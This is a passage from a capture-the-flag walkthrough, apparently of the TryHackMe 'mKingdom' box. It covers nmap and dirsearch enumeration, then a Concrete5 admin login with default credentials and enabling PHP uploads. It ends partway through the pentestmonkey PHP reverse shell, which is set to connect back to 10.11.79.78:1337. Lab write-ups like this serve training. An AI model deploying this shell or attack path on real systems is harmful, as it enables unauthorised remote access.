</span></span><span style="display:flex;"><span>T5<span style="color:#f92672">(</span>R<span style="color:#f92672">=</span>Y%DF<span style="color:#f92672">=</span>Y%T<span style="color:#f92672">=</span>40%W<span style="color:#f92672">=</span>0%S<span style="color:#f92672">=</span>Z%A<span style="color:#f92672">=</span>S+%F<span style="color:#f92672">=</span>AR%O<span style="color:#f92672">=</span>%RD<span style="color:#f92672">=</span>0%Q<span style="color:#f92672">=)</span>
</span></span><span style="display:flex;"><span>T6<span style="color:#f92672">(</span>R<span style="color:#f92672">=</span>Y%DF<span style="color:#f92672">=</span>Y%T<span style="color:#f92672">=</span>40%W<span style="color:#f92672">=</span>0%S<span style="color:#f92672">=</span>A%A<span style="color:#f92672">=</span>Z%F<span style="color:#f92672">=</span>R%O<span style="color:#f92672">=</span>%RD<span style="color:#f92672">=</span>0%Q<span style="color:#f92672">=)</span>
</span></span><span style="display:flex;"><span>T7<span style="color:#f92672">(</span>R<span style="color:#f92672">=</span>Y%DF<span style="color:#f92672">=</span>Y%T<span style="color:#f92672">=</span>40%W<span style="color:#f92672">=</span>0%S<span style="color:#f92672">=</span>Z%A<span style="color:#f92672">=</span>S+%F<span style="color:#f92672">=</span>AR%O<span style="color:#f92672">=</span>%RD<span style="color:#f92672">=</span>0%Q<span style="color:#f92672">=)</span>
</span></span><span style="display:flex;"><span>U1<span style="color:#f92672">(</span>R<span style="color:#f92672">=</span>Y%DF<span style="color:#f92672">=</span>N%T<span style="color:#f92672">=</span>40%IPL<span style="color:#f92672">=</span>164%UN<span style="color:#f92672">=</span>0%RIPL<span style="color:#f92672">=</span>G%RID<span style="color:#f92672">=</span>G%RIPCK<span style="color:#f92672">=</span>G%RUCK<span style="color:#f92672">=</span>G%RUD<span style="color:#f92672">=</span>G<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>IE<span style="color:#f92672">(</span>R<span style="color:#f92672">=</span>Y%DFI<span style="color:#f92672">=</span>N%T<span style="color:#f92672">=</span>40%CD<span style="color:#f92672">=</span>S<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Uptime guess: 202.073 days <span style="color:#f92672">(</span>since Sun Nov <span style="color:#ae81ff">26</span> 06:52:26 2023<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>Network Distance: <span style="color:#ae81ff">2</span> hops
</span></span><span style="display:flex;"><span>TCP Sequence Prediction: Difficulty<span style="color:#f92672">=</span><span style="color:#ae81ff">257</span> <span style="color:#f92672">(</span>Good luck!<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>IP ID Sequence Generation: All zeros
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>TRACEROUTE <span style="color:#f92672">(</span>using port 443/tcp<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>HOP RTT       ADDRESS
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">1</span>   379.02 ms 10.11.0.1
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">2</span>   379.14 ms 10.10.4.31
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Read data files from: /usr/bin/are/nmap
</span></span><span style="display:flex;"><span>OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
</span></span><span style="display:flex;"><span>Nmap <span style="color:#66d9ef">done</span>: <span style="color:#ae81ff">1</span> IP address <span style="color:#f92672">(</span><span style="color:#ae81ff">1</span> host up<span style="color:#f92672">)</span> scanned in 30.15 seconds
</span></span><span style="display:flex;"><span>           Raw packets sent: <span style="color:#ae81ff">59</span> <span style="color:#f92672">(</span>4.192KB<span style="color:#f92672">)</span> | Rcvd: <span style="color:#ae81ff">41</span> <span style="color:#f92672">(</span>3.068KB<span style="color:#f92672">)</span>
</span></span></code></pre></div><p>You can see in the <code>nmap</code> output that the title is &ldquo;OH NO! PWN3D 4G4IN&rdquo; which we can confirm when we navigate to the page.</p>
<p><img src="/assets/mKingdom_20240615084207.png" alt=""></p>
<p>We run <code>dirsearch</code> and we find the <code>/app</code> directory</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>❯ dirsearch -u http://mkingdom.thm:85
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  _|. _ _  _  _  _ _|_    v0.4.3
</span></span><span style="display:flex;"><span> <span style="color:#f92672">(</span>_<span style="color:#f92672">||</span>| _<span style="color:#f92672">)</span> <span style="color:#f92672">(</span>/_<span style="color:#f92672">(</span>_<span style="color:#f92672">||</span> <span style="color:#f92672">(</span>_| <span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: <span style="color:#ae81ff">25</span> | Wordlist size: <span style="color:#ae81ff">11460</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Output File: /home/n3ph0s/Hacking/Machines/THM/mKingdom/reports/http_mkingdom.thm_85/_24-06-15_10-40-31.txt
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Target: http://mkingdom.thm:85/
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>10:40:31<span style="color:#f92672">]</span> Starting:
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>10:40:53<span style="color:#f92672">]</span> <span style="color:#ae81ff">403</span> -  290B  - /.ht_wsr.txt
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>10:40:54<span style="color:#f92672">]</span> <span style="color:#ae81ff">403</span> -  293B  - /.htaccess.bak1
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>10:40:54<span style="color:#f92672">]</span> <span style="color:#ae81ff">403</span> -  293B  - /.htaccess.orig
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>10:40:54<span style="color:#f92672">]</span> <span style="color:#ae81ff">403</span> -  295B  - /.htaccess.sample
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>10:40:54<span style="color:#f92672">]</span> <span style="color:#ae81ff">403</span> -  293B  - /.htaccess.save
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>10:40:54<span style="color:#f92672">]</span> <span style="color:#ae81ff">403</span> -  294B  - /.htaccess_extra
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>10:40:54<span style="color:#f92672">]</span> <span style="color:#ae81ff">403</span> -  293B  - /.htaccess_orig
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>10:40:54<span style="color:#f92672">]</span> <span style="color:#ae81ff">403</span> -  291B  - /.htaccess_sc
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>10:40:54<span style="color:#f92672">]</span> <span style="color:#ae81ff">403</span> -  291B  - /.htaccessBAK
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>10:40:54<span style="color:#f92672">]</span> <span style="color:#ae81ff">403</span> -  291B  - /.htaccessOLD
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>10:40:54<span style="color:#f92672">]</span> <span style="color:#ae81ff">403</span> -  292B  - /.htaccessOLD2
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>10:40:54<span style="color:#f92672">]</span> <span style="color:#ae81ff">403</span> -  283B  - /.htm
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>10:40:54<span style="color:#f92672">]</span> <span style="color:#ae81ff">403</span> -  284B  - /.html
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>10:40:54<span style="color:#f92672">]</span> <span style="color:#ae81ff">403</span> -  293B  - /.htpasswd_test
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>10:40:54<span style="color:#f92672">]</span> <span style="color:#ae81ff">403</span> -  289B  - /.htpasswds
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>10:40:54<span style="color:#f92672">]</span> <span style="color:#ae81ff">403</span> -  290B  - /.httr-oauth
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>10:40:59<span style="color:#f92672">]</span> <span style="color:#ae81ff">403</span> -  283B  - /.php
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>10:40:59<span style="color:#f92672">]</span> <span style="color:#ae81ff">403</span> -  284B  - /.php3
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>10:41:43<span style="color:#f92672">]</span> <span style="color:#ae81ff">301</span> -  312B  - /app  -&gt;  http://mkingdom.thm:85/app/
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>10:41:44<span style="color:#f92672">]</span> <span style="color:#ae81ff">200</span> -  457B  - /app/
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>10:43:09<span style="color:#f92672">]</span> <span style="color:#ae81ff">403</span> -  292B  - /server-status
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>10:43:09<span style="color:#f92672">]</span> <span style="color:#ae81ff">403</span> -  293B  - /server-status/
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Task Completed
</span></span></code></pre></div><p>When we navigate to the page we are presented with a blank page and a &ldquo;JUMP&rdquo; button.  Before clicking on the Jump button we look at the source code.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-html" data-lang="html"><span style="display:flex;"><span><span style="color:#75715e">&lt;!DOCTYPE html&gt;</span>
</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">html</span> <span style="color:#a6e22e">lang</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;en&#34;</span>&gt;
</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">head</span>&gt;
</span></span><span style="display:flex;"><span>    &lt;<span style="color:#f92672">meta</span> <span style="color:#a6e22e">charset</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;UTF-8&#34;</span>&gt;
</span></span><span style="display:flex;"><span>    &lt;<span style="color:#f92672">meta</span> <span style="color:#a6e22e">name</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;viewport&#34;</span> <span style="color:#a6e22e">content</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;width=device-width, initial-scale=1.0&#34;</span>&gt;
</span></span><span style="display:flex;"><span>    &lt;<span style="color:#f92672">style</span>&gt;
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">body</span> {
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">display</span>: <span style="color:#66d9ef">flex</span>;
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">justify-content</span>: <span style="color:#66d9ef">center</span>;
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">align-items</span>: <span style="color:#66d9ef">center</span>;
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">height</span>: <span style="color:#ae81ff">100</span><span style="color:#66d9ef">vh</span>;
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">margin</span>: <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">button</span> {
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">padding</span>: <span style="color:#ae81ff">10</span><span style="color:#66d9ef">px</span> <span style="color:#ae81ff">20</span><span style="color:#66d9ef">px</span>;
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">font-size</span>: <span style="color:#ae81ff">16</span><span style="color:#66d9ef">px</span>;
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">cursor</span>: <span style="color:#66d9ef">pointer</span>;
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">background-color</span>: <span style="color:#ae81ff">#4CAF50</span>;
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">color</span>: <span style="color:#ae81ff">#fff</span>;
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">border</span>: <span style="color:#66d9ef">none</span>;
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">border-radius</span>: <span style="color:#ae81ff">5</span><span style="color:#66d9ef">px</span>;
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>    &lt;/<span style="color:#f92672">style</span>&gt;
</span></span><span style="display:flex;"><span>    &lt;<span style="color:#f92672">title</span>&gt;ACCESS&lt;/<span style="color:#f92672">title</span>&gt;
</span></span><span style="display:flex;"><span>&lt;/<span style="color:#f92672">head</span>&gt;
</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">body</span>&gt;
</span></span><span style="display:flex;"><span>    &lt;<span style="color:#f92672">button</span> <span style="color:#a6e22e">onclick</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;buttonClick()&#34;</span>&gt;JUMP&lt;/<span style="color:#f92672">button</span>&gt;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    &lt;<span style="color:#f92672">script</span>&gt;
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">function</span> <span style="color:#a6e22e">buttonClick</span>() {
</span></span><span style="display:flex;"><span>            <span style="color:#a6e22e">alert</span>(<span style="color:#e6db74">&#34;Make yourself confortable and enjoy my place.&#34;</span>);
</span></span><span style="display:flex;"><span>            window.<span style="color:#a6e22e">location</span>.<span style="color:#a6e22e">href</span> <span style="color:#f92672">=</span> <span style="color:#e6db74">&#39;castle&#39;</span>;
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>    &lt;/<span style="color:#f92672">script</span>&gt;
</span></span><span style="display:flex;"><span>&lt;/<span style="color:#f92672">body</span>&gt;
</span></span><span style="display:flex;"><span>&lt;/<span style="color:#f92672">html</span>&gt;
</span></span></code></pre></div><p>If we look at the function <code>buttonClick()</code> when we click the &ldquo;JUMP&rdquo; button an alert popup will appear with the message &ldquo;Make yourself confortable and enjoy my place.&rdquo; (Spelling mistake and all) and once we dismiss the alert we be redirected to the <code>castle</code>.</p>
<p>Now that we understand what the code does, we click on the button and we are taken to Toad&rsquo;s website.</p>
<p><img src="/assets/mKingdom_20240615085649.png" alt=""></p>
<p>We start enumerating the site and we can see that there is a <code>robots.txt</code> file.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>❯ curl http://mkingdom.thm:85/app/castle/robots.txt
</span></span><span style="display:flex;"><span>User-agent: *
</span></span><span style="display:flex;"><span>Disallow: /application/attributes
</span></span><span style="display:flex;"><span>Disallow: /application/authentication
</span></span><span style="display:flex;"><span>Disallow: /application/bootstrap
</span></span><span style="display:flex;"><span>Disallow: /application/config
</span></span><span style="display:flex;"><span>Disallow: /application/controllers
</span></span><span style="display:flex;"><span>Disallow: /application/elements
</span></span><span style="display:flex;"><span>Disallow: /application/helpers
</span></span><span style="display:flex;"><span>Disallow: /application/jobs
</span></span><span style="display:flex;"><span>Disallow: /application/languages
</span></span><span style="display:flex;"><span>Disallow: /application/mail
</span></span><span style="display:flex;"><span>Disallow: /application/models
</span></span><span style="display:flex;"><span>Disallow: /application/page_types
</span></span><span style="display:flex;"><span>Disallow: /application/single_pages
</span></span><span style="display:flex;"><span>Disallow: /application/tools
</span></span><span style="display:flex;"><span>Disallow: /application/views
</span></span><span style="display:flex;"><span>Disallow: /ccm/system/captcha/picture
</span></span></code></pre></div><p>If we look at the bottom of the page there we can see in the footer that this is running Concrete5 CMS and at the bottom right hand side there is a button to login.</p>
<p>We go to the login page and we try initially, some generic passwords and we are able to login with <code>admin:password</code>.</p>
<p>NOTE:  There is an IP Ban on this is you enter too many attempts</p>
<p><img src="/assets/mKingdom_20240615105856.png" alt=""></p>
<p>As we have admin permissions we look around and we click on System Settings -&gt; Files -&gt; Allowed File Types.</p>
<p><img src="/assets/mKingdom_20240615110211.png" alt=""></p>
<p>We are then shown the list of file extensions that are allowed and we then add PHP as an allowed extension.</p>
<p><img src="/assets/mKingdom_20240615110550.png" alt=""></p>
<p>We use the following reverse shell</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-php" data-lang="php"><span style="display:flex;"><span>  <span style="color:#f92672">&lt;?</span><span style="color:#a6e22e">php</span>
</span></span><span style="display:flex;"><span>  <span style="color:#75715e">// php-reverse-shell - A Reverse Shell implementation in PHP
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>  <span style="color:#75715e">// Copyright (C) 2007 pentestmonkey@pentestmonkey.net
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">set_time_limit</span> (<span style="color:#ae81ff">0</span>);
</span></span><span style="display:flex;"><span>  $VERSION <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;1.0&#34;</span>;
</span></span><span style="display:flex;"><span>  $ip <span style="color:#f92672">=</span> <span style="color:#e6db74">&#39;10.11.79.78&#39;</span>;  <span style="color:#75715e">// You have changed this
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>  $port <span style="color:#f92672">=</span> <span style="color:#ae81ff">1337</span>;  <span style="color:#75715e">// And this
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>  $chunk_size <span style="color:#f92672">=</span> <span style="color:#ae81ff">1400</span>;
</span></span><span style="display:flex;"><span>  $write_a <span style="color:#f92672">=</span> <span style="color:#66d9ef">null</span>;
</span></span><span style="display:flex;"><span>  $error_a <span style="color:#f92672">=</span> <span style="color:#66d9ef">null</span>;
</span></span><span style="display:flex;"><span>  $shell <span style="color:#f92672">=</span> <span style="color:#e6db74">&#39;uname -a; w; id; /bin/sh -i&#39;</span>;
</span></span><span style="display:flex;"><span>  $daemon <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span>  $debug <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  <span style="color:#75715e">//
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>  <span style="color:#75715e">// Daemonise ourself if possible to avoid zombies later
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>  <span style="color:#75715e">//
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>
</span></span><span style="display:flex;"><span>  <span style="color:#75715e">// pcntl_fork is hardly ever available, but will allow us to daemonise
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>  <span style="color:#75715e">// our php process and avoid zombies.  Worth a try...
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>  <span style="color:#66d9ef">if</span> (<span style="color:#a6e22e">function_exists</span>(<span style="color:#e6db74">&#39;pcntl_fork&#39;</span>)) {
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">// Fork and have the parent process exit
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    $pid <span style="color:#f92672">=</span> <span style="color:#a6e22e">pcntl_fork</span>();
</span></span><span style="display:flex;"><span>    
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">if</span> ($pid <span style="color:#f92672">==</span> <span style="color:#f92672">-</span><span style="color:#ae81ff">1</span>) {
</span></span><span style="display:flex;"><span>      <span style="color:#a6e22e">printit</span>(<span style="color:#e6db74">&#34;ERROR: Can&#39;t fork&#34;</span>);
</span></span><span style="display:flex;"><span>      <span style="color:#66d9ef">exit</span>(<span style="color:#ae81ff">1</span>);
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>    
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">if</span> ($pid) {
</span></span><span style="display:flex;"><span>      <span style="color:#66d9ef">exit</span>(<span style="color:#ae81ff">0</span>);  <span style="color:#75715e">// Parent exits
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">// Make the current process a session leader
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    <span style="color:#75715e">// Will only succeed if we forked
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    <span style="color:#66d9ef">if</span> (<span style="color:#a6e22e">posix_setsid</span>() <span style="color:#f92672">==</span> <span style="color:#f92672">-</span><span style="color:#ae81ff">1</span>) {
</span></span><span style="display:flex;"><span>      <span style="color:#a6e22e">printit</span>(<span style="color:#e6db74">&#34;Error: Can&#39;t setsid()&#34;</span>);
</span></span><span style="display:flex;"><span>      <span style="color:#66d9ef">exit</span>(<span style="color:#ae81ff">1</span>);
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    $daemon <span style="color:#f92672">=</span> <span style="color:#ae81ff">1</span>;
</span></span><span style="display:flex;"><span>  } <span style="color:#66d9ef">else</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">printit</span>(<span style="color:#e6db74">&#34;WARNING: Failed to daemonise.  This is quite common and not fatal.&#34;</span>);
</span></span><span style="display:flex;"><span>  }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  <span style="color:#75715e">// Change to a safe directory
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>  <span style="color:#a6e22e">chdir</span>(<span style="color:#e6db74">&#34;/&#34;</span>);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  <span style="color:#75715e">// Remove any umask we inherited
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>  <span style="color:#a6e22e">umask</span>(<span style="color:#ae81ff">0</span>);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  <span style="color:#75715e">//
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>  <span style="color:#75715e">// Do the reverse shell...
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>  <span style="color:#75715e">//
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>
</span></span><span style="display:flex;"><span>  <span style="color:#75715e">// Open reverse connection
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>  $sock <span style="color:#f92672">=</span> <span style="color:#a6e22e">fsockopen</span>($ip, $port, $errno, $errstr, <span style="color:#ae81ff">30</span>);
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">if</span> (<span style="color:#f92672">!</span>$sock) {
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">printit</span>(<span style="color:#e6db74">&#34;</span><span style="color:#e6db74">$errstr</span><span style="color:#e6db74"> (</span><span style="color:#e6db74">$errno</span><span style="color:#e6db74">)&#34;</span>);
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">exit</span>(<span style="color:#ae81ff">1</span>);
</span></span><span style="display:flex;"><span>  }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  <span style="color:#75715e">// Spawn shell process
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>  $descriptorspec <span style="color:#f92672">=</span> <span style="color:#66d9ef">array</span>(
</span></span><span style="display:flex;"><span>    <span style="color:#ae81ff">0</span> <span style="color:#f92672">=&gt;</span> <span style="color:#66d9ef">array</span>(<span style="color:#e6db74">&#34;pipe&#34;</span>, <span style="color:#e6db74">&#34;r&#34;</span>),  <span style="color:#75715e">// stdin is a pipe that the child will read from
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    <span style="color:#ae81ff">1</span> <span style="color:#f92672">=&gt;</span> <span style="color:#66d9ef">array</span>(<span style="color:#e6db74">&#34;pipe&#34;</span>, <span style="color:#e6db74">&#34;w&#34;</span>),  <span style="color:#75715e">// stdout is a pipe that the child will write to
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    <span style="color:#ae81ff">2</span> <span style="color:#f92672">=&gt;</span> <span style="color:#66d9ef">array</span>(<span style="color:#e6db74">&#34;pipe&#34;</span>, <span style="color:#e6db74">&#34;w&#34;</span>)   <span style="color:#75715e">// stderr is a pipe that the child will write to
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>  );
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  $process <span style="color:#f92672">=</span> <span style="color:#a6e22e">proc_open</span>($shell, $descriptorspec, $pipes);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">if</span> (<span style="color:#f92672">!</span><span style="color:#a6e22e">is_resource</span>($process)) {
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">printit</span>(<span style="color:#e6db74">&#34;ERROR: Can&#39;t spawn shell&#34;</span>);
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">exit</span>(<span style="color:#ae81ff">1</span>);
</span></span><span style="display:flex;"><span>  }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  <span style="color:#75715e">// Set everything to non-blocking
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>  <span style="color:#75715e">// Reason: Occsionally reads will block, even though stream_select tells us they won&#39;t
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>  <span style="color:#a6e22e">stream_set_blocking</span>($pipes[<span style="color:#ae81ff">0</span>], <span style="color:#ae81ff">0</span>);
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">stream_set_blocking</span>($pipes[<span style="color:#ae81ff">1</span>], <span style="color:#ae81ff">0</span>);
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">stream_set_blocking</span>($pipes[<span style="color:#ae81ff">2</span>], <span style="color:#ae81ff">0</span>);
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">stream_set_blocking</span>($sock, <span style="color:#ae81ff">0</span>);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">printit</span>(<span style="color:#e6db74">&#34;Successfully opened reverse shell to </span><span style="color:#e6db74">$ip</span><span style="color:#e6db74">:</span><span style="color:#e6db74">$port</span><span style="color:#e6db74">&#34;</span>);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">while</span> (<span style="color:#ae81ff">1</span>) {
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">// Check for end of TCP connection
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    <span style="color:#66d9ef">if</span> (<span style="color:#a6e22e">feof</span>($sock)) {
</span></span><span style="display:flex;"><span>      <span style="color:#a6e22e">printit</span>(<span style="color:#e6db74">&#34;ERROR: Shell connection terminated&#34;</span>);
</span></span><span style="display:flex;"><span>      <span style="color:#66d9ef">break</span>;
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">// Check for end of STDOUT
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    <span style="color:#66d9ef">if</span> (<span style="color:#a6e22e">feof</span>($pipes[<span style="color:#ae81ff">1</span>])) {
</span></span><span style="display:flex;"><span>      <span style="color:#a6e22e">printit</span>(<span style="color:#e6db74">&#34;ERROR: Shell process terminated&#34;</span>);
</span></span><span style="display:flex;"><span>      <span style="color:#66d9ef">break</span>;
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">// Wait until a command is end down $sock, or some
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    <span style="color:#75715e">// command output is available on STDOUT or STDERR
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    $read_a <span style="color:#f92672">=</span> <span style="color:#66d9ef">array</span>($sock, $pipes[<span style="color:#ae81ff">1</span>], $pipes[<span style="color:#ae81ff">2</span>]);
</span></span><span style="display:flex;"><span>    $num_changed_sockets <span style="color:#f92672">=</span> <span style="color:#a6e22e">stream_select</span>($read_a, $write_a, $error_a, <span style="color:#66d9ef">null</span>);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">// If we can read from the TCP socket, send
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    <span style="color:#75715e">// data to process&#39;s STDIN
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    <span style="color:#66d9ef">if</span> (<span style="color:#a6e22e">in_array</span>($sock, $read_a)) {
</span></span><span style="display:flex;"><span>      <span style="color:#66d9ef">if</span> ($debug) <span style="color:#a6e22e">printit</span>(<span style="color:#e6db74">&#34;SOCK READ&#34;</span>);
</span></span><span style="display:flex;"><span>      $input <span style="color:#f92672">=</span> <span style="color:#a6e22e">fread</span>($sock, $chunk_size);
</span></span><span style="display:flex;"><span>      <span style="color:#66d9ef">if</span> ($debug) <span style="color:#a6e22e">printit</span>(<span style="color:#e6db74">&#34;SOCK: </span><span style="color:#e6db74">$input</span><span style="color:#e6db74">&#34;</span>);
</span></span><span style="display:flex;"><span>      <span style="color:#a6e22e">fwrite</span>($pipes[<span style="color:#ae81ff">0</span>], $input);
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">// If we can read from the process&#39;s STDOUT
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    <span style="color:#75715e">// send data down tcp connection
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    <span style="color:#66d9ef">if</span> (<span style="color:#a6e22e">in_array</span>($pipes[<span style="color:#ae81ff">1</span>], $read_a)) {
</span></span><span style="display:flex;"><span>      <span style="color:#66d9ef">if</span> ($debug) <span style="color:#a6e22e">printit</span>(<span style="color:#e6db74">&#34;STDOUT READ&#34;</span>);
</span></span><span style="display:flex;"><span>      $input <span style="color:#f92672">=</span> <span style="color:#a6e22e">fread</span>($pipes[<span style="color:#ae81ff">1</span>], $chunk_size);
